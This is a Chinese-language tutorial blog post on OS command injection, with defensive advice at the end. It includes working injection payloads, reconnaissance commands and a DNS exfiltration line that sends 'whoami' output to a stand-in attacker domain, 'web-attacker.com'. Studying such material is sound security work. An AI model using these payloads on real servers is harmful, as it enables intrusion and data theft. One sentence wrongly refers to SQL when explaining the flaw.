OS命令注入
Published in:2023-06-29 | category: 前端 网络安全

什么是操作系统命令注入?

OS 命令注入(也称为 shell 注入)是一种 Web 安全漏洞,允许攻击者在运行应用程序的服务器上执行任意操作系统 (OS) 命令,并且通常会完全破坏应用程序及其所有数据。通常,攻击者可以利用操作系统命令注入漏洞来破坏托管基础架构的其他部分,利用信任关系将攻击转向组织内的其他系统。

原理

简单来说就是因为 SQL 是一种结构化字符串语言,攻击者利用可以随意构造语句的漏洞构造了开发者意料之外的语句。
OS 注入攻击是指程序提供了直接执行 Shell 命令的函数的场景,当攻击者不合理使用,且开发者对用户参数未考虑安全因素的话,就会执行恶意的命令调用,被攻击者利用。

执行任意命令

考虑一个购物应用程序,它允许用户查看特定商店中某件商品是否有货。此信息可通过以下 URL 访问:
https:_//insecure-website.com/stockStatus?productID=381&storeID=29_

为了提供股票信息,应用程序必须查询各种遗留系统。由于历史原因,该功能是通过调用带有产品和存储 ID 作为参数的 shell 命令来实现的:
stockreport.pl 381 29
此命令输出指定项目的库存状态,并返回给用户。

由于应用程序没有针对操作系统命令注入实施防御,攻击者可以提交以下输入来执行任意命令:
& echo aiwefwlguh &
如果在 productID 参数中提交了这个输入,那么应用程序执行的命令是:
stockreport.pl & echo aiwefwlguh & 29
该 echo 命令只是使提供的字符串在输出中回显,并且是测试某些类型的操作系统命令注入的有用方法。该&字符是一个 shell 命令分隔符,因此执行的实际上是三个单独的命令一个接一个。结果,返回给用户的输出是:
Error - productID was not provided
aiwefwlguh
29: command not found

三行输出表明:

  • 原始 stockreport.pl 命令在没有预期参数的情况下执行,因此返回了一条错误消息。
  • echo 执行 注入的命令,并在输出中回显提供的字符串。
  • 原始参数 29 作为命令执行,导致错误。

&在注入的命令之后 放置额外的命令分隔符通常很有用,因为它将注入的命令与注入点之后的任何内容分开。这降低了以下内容阻止执行注入的命令的可能性。
command1 & command2 :两个命令都执行
command1 && command2 :与执行,第一个成功执行第二个才会执行
command1 | command2 :或执行,只执行第二个 command1 ||
command2:第一个执行成功,第二个不执行。第一个执行失败,第二个执行

有用的命令

当您发现操作系统命令注入漏洞时,执行一些初始命令以获取有关您已入侵的系统的信息通常很有用。下面总结了一些在 Linux 和 Windows 平台上有用的命令:

命令的目的 Linux Windows
当前用户名 whoami whoami
操作系统 uname -a ver
网络配置 ifconfig ipconfig /all
网络连接 netstat -an netstat -an
运行进程 ps -ef tasklist

盲操作系统命令注入漏洞

操作系统命令注入的许多实例都是盲漏洞。这意味着应用程序不会在其 HTTP 响应中返回命令的输出。仍然可以利用盲点漏洞,但需要不同的技术。
考虑一个允许用户提交有关该站点的反馈的网站。用户输入他们的电子邮件地址和反馈消息。然后,服务器端应用程序生成一封包含反馈的电子邮件给站点管理员。为此,它 mail 使用提交的详细信息调用程序。例如:
mail -s "This site is great" -aFrom:peter@normal-user.net feedback@vulnerable-website.com
mail 命令 的输出(如果有)不会在应用程序的响应中返回,因此使用 echo 有效负载将无效。在这种情况下,您可以使用各种其他技术来检测和利用漏洞。

使用时间延迟检测盲操作系统命令注入

您可以使用将触发时间延迟的注入命令,允许您根据应用程序响应所需的时间来确认命令已执行。该 ping 命令是执行此操作的有效方法,因为它允许您指定要发送的 ICMP 数据包的数量,以及运行该命令所需的时间:
& ping -c 10 127.0.0.1 &
此命令将导致应用程序 ping 10 秒

通过重定向输出来利用盲操作系统命令注入

您可以将注入命令的输出重定向到 Web 根目录中的文件中,然后您可以使用浏览器检索该文件。例如,如果应用程序从文件系统位置提供静态资源/var/www/static,那么您可以提交以下输入:
& whoami > /var/www/static/whoami.txt &
该>字符将 whoami 命令的输出发送到指定的文件。然后,您可以使用浏览器获取https://vulnerable-website.com/whoami.txt文件以检索文件,并查看注入命令的输出。

使用带外 ( OAST ) 技术利用 OS 命令盲注入

您可以使用注入的命令,使用 OAST 技术触发与您控制的系统的带外网络交互。例如:
& nslookup kgji2ohoyw.web-attacker.com &
此有效负载使用该 nslookup 命令对指定域进行 DNS 查找。攻击者可以监视指定的查找发生,从而检测到命令已成功注入。
带外通道还提供了一种从注入的命令中提取输出的简单方法:
& nslookup whoami.kgji2ohoyw.web-attacker.com &
这将导致对包含 whoami 命令结果的攻击者域进行 DNS 查找:
wwwuser.kgji2ohoyw.web-attacker.com

注入操作系统命令的方式

多种 shell 元字符可用于执行操作系统命令注入攻击。
许多字符用作命令分隔符,允许将命令链接在一起。以下命令分隔符适用于基于 Windows 和 Unix 的系统:

  • &
  • &&
  • |
  • ||

以下命令分隔符仅适用于基于 Unix 的系统:

  • ;

换行符(0x0a 或\n)
在基于 Unix 的系统上,您还可以使用反引号或美元字符在原始命令中执行注入命令的内联执行:
注入命令
$( 注入命令 )
请注意,不同的 shell 元字符具有细微的不同行为,这些行为可能会影响它们是否在某些情况下工作,以及它们是否允许带内检索命令输出或仅对盲目利用有用。
有时,您控制的输入会出现在原始命令的引号内。在这种情况下,您需要在使用合适的 shell 元字符注入新命令之前终止引用的上下文(使用”或’)。

如何防止操作系统命令注入攻击

迄今为止,以防止操作系统命令注入漏洞的最有效的方法是从未调出从应用层代码 OS 命令。在几乎所有情况下,存在使用安全平台 API 实现所需功能的替代方式。
如果认为使用用户提供的输入调用操作系统命令不可避免,则必须执行强输入验证。有效验证的一些例子包括:

  • 验证针对允许值的白名单。
  • 验证输入是否为数字。
  • 验证输入仅包含字母数字字符,没有其他语法或空格。

永远不要试图通过转义 shell 元字符来清理输入。实际上,这太容易出错并且容易被熟练的攻击者绕过。

Prev:
HTTPS 证书伪造
Next:
XSS攻击